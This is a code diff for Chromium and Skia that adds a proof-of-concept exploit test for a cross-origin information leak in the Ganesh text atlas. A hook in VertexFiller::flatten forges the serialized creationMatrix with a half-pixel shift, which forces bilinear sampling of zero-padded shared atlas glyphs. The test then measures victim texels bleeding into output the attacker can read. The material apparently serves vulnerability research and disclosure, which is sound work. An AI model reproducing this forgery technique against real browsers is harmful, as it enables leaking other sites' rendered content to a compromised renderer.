diff --git a/cc/paint/gpu_raster_pixeltest.cc b/cc/paint/gpu_raster_pixeltest.cc index 1d7659449dd5d..6bd17b7d5ba08 100644 --- a/cc/paint/gpu_raster_pixeltest.cc +++ b/cc/paint/gpu_raster_pixeltest.cc @@ -72,6 +72,10 @@ #include "base/android/android_info.h" #endif +// POC: hooks defined in third_party/skia (see chromium-changes.patch). +extern bool gPOCForgeVertexFillerCreationMatrix; +extern int gPOCAtlasBleedViolationCount; + namespace cc { namespace { @@ -2582,6 +2586,224 @@ void ClearFontCache(CompletionEvent* event) { event->Signal(); } +// ============================================================================ +// POC: Ganesh DirectMaskSubRun atlas bilerp bleed via forged Slug payload. +// +// This test exercises the *real* OOP-R IPC surface (RasterCHROMIUM → +// PaintOpBufferSerializer → DrawSlugOp::Serialize → Slug::serialize → +// VertexFiller::flatten on the client/renderer side; RasterDecoder → +// PaintOpReader → Slug::Deserialize → VertexFiller::MakeFromBuffer → +// AtlasTextOp on the service/GPU side). It simulates a compromised renderer by +// flipping `gPOCForgeVertexFillerCreationMatrix`, which makes flatten() write +// a per-subrun creationMatrix that differs from the playback positionMatrix by +// a non-integer translation. On the GPU side this forces: +// * DirectMaskSubRun::deviceRectAndNeedsTransform → needsTransform=true +// * AtlasTextOp::onPrepareDraws → GrSamplerState::Filter::kLinear +// while DirectMaskSubRun::glyphSrcPadding()==0 means the glyph is packed into +// the cross-process-shared atlas with **zero border** (because Chrome ships +// fSupportBilerpFromGlyphAtlas=false → GrAtlasManager fSupportBilerpAtlas=false). +// The bilinear sampler therefore bleeds adjacent atlas texels — which, in +// production, can belong to glyphs uploaded for *other origins* — into the +// attacker-readable raster output. The only guard against this combination is +// a debug-only SkASSERT that checks the slug-level matrix and so does not even +// catch this per-subrun forgery. +// +// The test asserts: +// 1. gPOCAtlasBleedViolationCount > 0 (kLinear + zero-padding hit on GPU side) +// 2. The forged raster output differs from the un-forged baseline at glyph +// edge pixels (observable bleed). +// ============================================================================ +TEST_F(GpuRasterPixelTest, POC_ForgedSlugCreationMatrix_AtlasBilerpBleed) { + // The vulnerable code is Ganesh-specific (default on Win/Linux/Android/ + // ChromeOS). On Graphite the violation counter will stay at 0 and the test + // will report so explicitly via the ASSERT_GT message below. + + RasterOptions options; + options.resource_size = gfx::Size(120, 40); + options.content_size = options.resource_size; + options.full_raster_rect = gfx::Rect(options.content_size); + options.playback_rect = options.full_raster_rect; + options.target_color_params.color_space = gfx::ColorSpace::CreateSRGB(); + options.background_color = SkColors::kBlack; + + PaintFlags flags; + flags.setStyle(PaintFlags::kFill_Style); + flags.setColor(SkColors::kWhite); + + // Use a larger font so individual atlas texels are clearly observable. + SkFont font; + font.setTypeface(skia::DefaultTypeface()); + font.setHinting(SkFontHinting::kNormal); + font.setSize(20.f); + font.setEdging(SkFont::Edging::kAntiAlias); + + // "Attacker" display list — a single glyph drawn at an integer position so + // that the legitimate creationMatrix is an integer translate. + auto make_attacker_dl = [&]() { + auto blob = SkTextBlob::MakeFromString("l", font); + auto dl = base::MakeRefCounted(); + dl->StartPaint(); + dl->push(std::move(blob), 10.0f, 24.0f, flags); + dl->EndPaintOfUnpaired(options.full_raster_rect); + dl->Finalize(); + return dl; + }; + // "Victim" display list — stand-in for cross-origin glyph uploads. In + // production these would be uploaded by an unrelated renderer via the same + // shared GrAtlasManager owned by the single SharedContextState. + auto make_victim_dl = [&]() { + auto blob = SkTextBlob::MakeFromString("XO#@MWQZ", font); + auto dl = base::MakeRefCounted(); + dl->StartPaint(); + dl->push(std::move(blob), 2.0f, 24.0f, flags); + dl->EndPaintOfUnpaired(options.full_raster_rect); + dl->Finalize(); + return dl; + }; + + // --------------------------------------------------------------------------- + // Pass A: fresh GPU service / fresh GrAtlasManager (no victim content). + // Attacker forges creationMatrix → kLinear path. Any bleed at the glyph's + // atlas border samples only empty atlas / clamp-to-edge. + // --------------------------------------------------------------------------- + fprintf(stderr, "[POC] === Pass A: forged draw on FRESH atlas ===\n"); + gPOCForgeVertexFillerCreationMatrix = true; + gPOCAtlasBleedViolationCount = 0; + SkBitmap forged_clean = Raster(make_attacker_dl(), options); + gPOCForgeVertexFillerCreationMatrix = false; + EXPECT_GT(gPOCAtlasBleedViolationCount, 0); + + // Tear down the GPU service so we get a brand-new SharedContextState / + // GrDirectContext / GrAtlasManager for the next pass — exactly modelling two + // independent atlas-neighbour scenarios. + image_cache_.reset(); + raster_context_provider_.reset(); + viz::TestGpuServiceHolder::ResetInstance(); + InitializeContext(); + + // --------------------------------------------------------------------------- + // Pass B: prime atlas with victim glyphs first, then identical forged draw. + // The attacker glyph is now packed flush against victim glyph data. + // --------------------------------------------------------------------------- + fprintf(stderr, "[POC] === Pass B: prime atlas with victim glyphs, then " + "forged draw ===\n"); + Raster(make_victim_dl(), options); // victim upload (honest) + + gPOCAtlasBleedViolationCount = 0; + gPOCForgeVertexFillerCreationMatrix = false; + SkBitmap baseline = Raster(make_attacker_dl(), options); // honest reference + EXPECT_EQ(gPOCAtlasBleedViolationCount, 0) + << "Honest renderer should not trip the kLinear+zero-padding path."; + + gPOCAtlasBleedViolationCount = 0; + gPOCForgeVertexFillerCreationMatrix = true; + SkBitmap forged = Raster(make_attacker_dl(), options); // forged + gPOCForgeVertexFillerCreationMatrix = false; + + // Assertion 1: GPU-side instrumentation observed kLinear filter selection on + // a zero-padded DirectMaskSubRun. + fprintf(stderr, + "[POC] gPOCAtlasBleedViolationCount after forged raster = %d\n", + gPOCAtlasBleedViolationCount); + ASSERT_GT(gPOCAtlasBleedViolationCount, 0) + << "Forged DirectMaskSubRun creationMatrix was expected to force " + "AtlasTextOp into the kLinear path while glyphSrcPadding()==0."; + + // Assertion 2: Observable pixel bleed. The forgery yields + // viewDifference = Translate(+0.5,+0.5), so every fragment samples exactly + // on atlas texel boundaries → 50%/50% blend with the texel to the left/top, + // including texels that belong to *other glyphs* packed flush against this + // one in the shared atlas. + // + // We classify each output pixel: + // * solid_dimmed : baseline pixel was fully white (mask==255 → coverage + // came entirely from the attacker glyph's interior), + // forged is darker. Only possible if a neighbour atlas + // texel < 255 bled in. + // * empty_brightened: baseline pixel was fully black (mask==0, outside + // glyph footprint at this device coordinate), forged is + // brighter. Only possible if a non-zero neighbour atlas + // texel bled in (own-glyph interior or victim glyph). + // Both prove that the sampler fetched texel data from outside the glyph's + // own atlas rect. + int diff_px = 0; + int max_diff = 0; + int solid_dimmed = 0; + int empty_brightened = 0; + for (int y = 0; y < baseline.height(); ++y) { + for (int x = 0; x < baseline.width(); ++x) { + SkColor a = baseline.getColor(x, y); + SkColor b = forged.getColor(x, y); + if (a == b) continue; + diff_px++; + int d = std::max({std::abs((int)SkColorGetR(a) - (int)SkColorGetR(b)), + std::abs((int)SkColorGetG(a) - (int)SkColorGetG(b)), + std::abs((int)SkColorGetB(a) - (int)SkColorGetB(b))}); + max_diff = std::max(max_diff, d); + if (a == 0xFFFFFFFF && b != 0xFFFFFFFF) { + if (++solid_dimmed <= 4) { + fprintf(stderr, + "[POC] bleed @(%d,%d): kNearest=FFFFFFFF (own mask=255) " + "kLinear=%08x → neighbour-atlas-texel contribution=%d/255\n", + x, y, b, 255 - (int)SkColorGetR(b)); + } + } else if (a == 0xFF000000 && b != 0xFF000000) { + if (++empty_brightened <= 4) { + fprintf(stderr, + "[POC] bleed @(%d,%d): kNearest=FF000000 (own mask=0) " + "kLinear=%08x → foreign-texel contribution=%d/255\n", + x, y, b, (int)SkColorGetR(b)); + } + } + } + } + fprintf(stderr, + "[POC] forged-vs-baseline: %d differing pixels, max channel " + "delta=%d/255, solid->dimmed=%d, empty->brightened=%d\n", + diff_px, max_diff, solid_dimmed, empty_brightened); + EXPECT_GT(diff_px, 0) + << "Expected bilinear bleed to perturb output vs. kNearest baseline."; + EXPECT_GT(solid_dimmed + empty_brightened, 0) + << "Expected at least one pixel where the bilinear sampler mixed in a " + "texel value from outside the glyph's own atlas slot."; + + // --------------------------------------------------------------------------- + // Assertion 3 (smoking gun): Pass-A vs Pass-B forged outputs. + // The attacker draw, the forged Slug payload, and the attacker glyph mask + // are byte-identical between passes. The ONLY difference is the contents of + // the shared GrAtlasManager — empty in A, victim-populated in B. Therefore + // any pixel that differs between forged_clean and forged is *pure leak of + // victim atlas data* into the attacker-readable raster output. + // --------------------------------------------------------------------------- + int leak_px = 0; + int leak_max = 0; + for (int y = 0; y < forged.height(); ++y) { + for (int x = 0; x < forged.width(); ++x) { + SkColor a = forged_clean.getColor(x, y); + SkColor b = forged.getColor(x, y); + if (a == b) continue; + leak_px++; + int d = std::abs((int)SkColorGetR(a) - (int)SkColorGetR(b)); + leak_max = std::max(leak_max, d); + if (leak_px <= 6) { + fprintf(stderr, + "[POC] *** CROSS-GLYPH LEAK *** @(%d,%d): " + "forged{empty-atlas}=%08x forged{victim-primed}=%08x " + "(victim-texel-contribution=%d/255)\n", + x, y, a, b, d); + } + } + } + fprintf(stderr, + "[POC] Pass-A vs Pass-B (identical attacker draw, only atlas " + "neighbour differs): %d leaked pixels, max delta=%d/255\n", + leak_px, leak_max); + EXPECT_GT(leak_px, 0) + << "Identical forged draws produced identical output regardless of atlas " + "neighbour content — would indicate no cross-glyph bleed."; +} + + TEST_F(GpuRasterPixelTest, DrawTextMultipleRasterCHROMIUM) { RasterOptions options; options.resource_size = gfx::Size(100, 100); diff --git a/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp b/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp index 26d10a4b35b..8d301e30e37 100644 --- a/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp +++ b/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp @@ -60,6 +60,11 @@ struct GrShaderCaps; using MaskFormat = skgpu::MaskFormat; +// POC: exported counter (global namespace), asserted by the cc_unittests test +// case. Incremented whenever the GPU side selects kLinear sampling for a +// DirectMaskSubRun whose atlas entry has zero border padding. +SK_API int gPOCAtlasBleedViolationCount = 0; + namespace skgpu::ganesh { inline static constexpr int kVerticesPerGlyph = 4; @@ -249,6 +254,27 @@ std::tuple AtlasTextOp::Make(SurfaceDrawContext* sdc GrRecordingContext* const rContext = sdc->recordingContext(); + // ======================================================================== + // POC INSTRUMENTATION (GPU-process side): + // Detect the invariant violation: a DirectMaskSubRun (glyphSrcPadding()==0) + // being drawn with needsTransform=true. needsTransform=true makes + // onPrepareDraws() select GrSamplerState::Filter::kLinear (line ~493). + // glyphSrcPadding()==0 makes GrAtlasManager::addGlyphToAtlas pack the glyph + // with zero border (when fSupportBilerpAtlas is false, the Chrome default). + // kLinear sampling on a zero-padded shared atlas bleeds adjacent glyph + // texels — which can belong to other origins — into this draw's output. + // ======================================================================== + if (needsTransform && subrun->glyphSrcPadding() == 0) { + ::gPOCAtlasBleedViolationCount++; + fprintf(stderr, + "[POC][gpu-side] *** INVARIANT VIOLATION *** AtlasTextOp::Make: " + "needsTransform=true (→ kLinear filter) for DirectMaskSubRun " + "with glyphSrcPadding()=0 (→ zero-border atlas pack). " + "Bilinear sampler will bleed neighbouring atlas texels. " + "violation_count=%d\n", + ::gPOCAtlasBleedViolationCount); + } + GrOp::Owner op; #if !defined(SK_DISABLE_SDF_TEXT) auto glyphParams = subrun->glyphParams(); diff --git a/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp b/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp index f0dbd903ff3..9d022e8210b 100644 --- a/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp +++ b/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp @@ -190,6 +190,14 @@ GrDrawOpAtlas::ErrorCode GrAtlasManager::addGlyphToAtlas(const SkGlyph& skGlyph, padding = 1; srcPadding = 1; } + // POC INSTRUMENTATION (GPU-process side): record that this glyph + // is being packed into the shared atlas with zero border. + fprintf(stderr, + "[POC][gpu-side] GrAtlasManager::addGlyphToAtlas: " + "DirectMask glyph packed with padding=%d " + "(fSupportBilerpAtlas=%d). w=%d h=%d\n", + padding, (int)fSupportBilerpAtlas, + skGlyph.width(), skGlyph.height()); break; case 1: // The transformed mask/image case. @@ -243,6 +251,17 @@ GrDrawOpAtlas::ErrorCode GrAtlasManager::addGlyphToAtlas(const SkGlyph& skGlyph, if (errorCode == GrDrawOpAtlas::ErrorCode::kSucceeded) { glyph->fAtlasLocator.insetSrc(srcPadding); + // POC INSTRUMENTATION: report final atlas rect (after no-op insetSrc(0)) + // so adjacency between attacker and victim glyphs is visible. + if (padding == 0) { + SkIPoint tl = glyph->fAtlasLocator.topLeft(); + fprintf(stderr, + "[POC][gpu-side] ↳ atlas rect L=%d T=%d R=%d B=%d " + "(insetSrc(%d) → no inset; UVs span exact glyph footprint)\n", + tl.x(), tl.y(), + tl.x() + glyph->fAtlasLocator.width(), + tl.y() + glyph->fAtlasLocator.height(), srcPadding); + } } return errorCode; diff --git a/third_party/skia/src/text/gpu/VertexFiller.cpp b/third_party/skia/src/text/gpu/VertexFiller.cpp index f9cd3f87da7..8357f9c32f8 100644 --- a/third_party/skia/src/text/gpu/VertexFiller.cpp +++ b/third_party/skia/src/text/gpu/VertexFiller.cpp @@ -22,6 +22,14 @@ using MaskFormat = skgpu::MaskFormat; +// ============================================================================ +// POC: Exported hook (global namespace) so a test can simulate a compromised +// renderer that forges the per-subrun creationMatrix in the serialized Slug +// payload (the bytes that cross the renderer→GPU IPC via DrawSlugOp / +// RasterCHROMIUM). A real attacker controls these bytes directly. +// ============================================================================ +SK_API bool gPOCForgeVertexFillerCreationMatrix = false; + namespace sktext::gpu { VertexFiller::VertexFiller(MaskFormat maskFormat, @@ -72,7 +80,23 @@ std::optional VertexFiller::MakeFromBuffer(SkReadBuffer &buffer, void VertexFiller::flatten(SkWriteBuffer &buffer) const { buffer.writeInt(static_cast(fMaskFormat)); buffer.writeBool(fCanDrawDirect); - buffer.writeMatrix(fCreationMatrix); + if (::gPOCForgeVertexFillerCreationMatrix) { + // Forge: shift creationMatrix by a non-integer translation so that on + // the GPU side CanUseDirect(forged, positionMatrix) returns false → + // DirectMaskSubRun::deviceRectAndNeedsTransform → needsTransform=true → + // AtlasTextOp selects GrSamplerState::Filter::kLinear, while the glyph + // is packed into the atlas with zero border (glyphSrcPadding()==0). + SkMatrix forged = fCreationMatrix; + forged.postTranslate(-0.5f, -0.5f); + buffer.writeMatrix(forged); + fprintf(stderr, + "[POC][renderer-side] VertexFiller::flatten: FORGED " + "creationMatrix (postTranslate(-0.5,-0.5)); fCanDrawDirect=%d " + "maskFormat=%d\n", + (int)fCanDrawDirect, (int)fMaskFormat); + } else { + buffer.writeMatrix(fCreationMatrix); + } buffer.writeRect(fCreationBounds); buffer.writePointArray(fLeftTop); }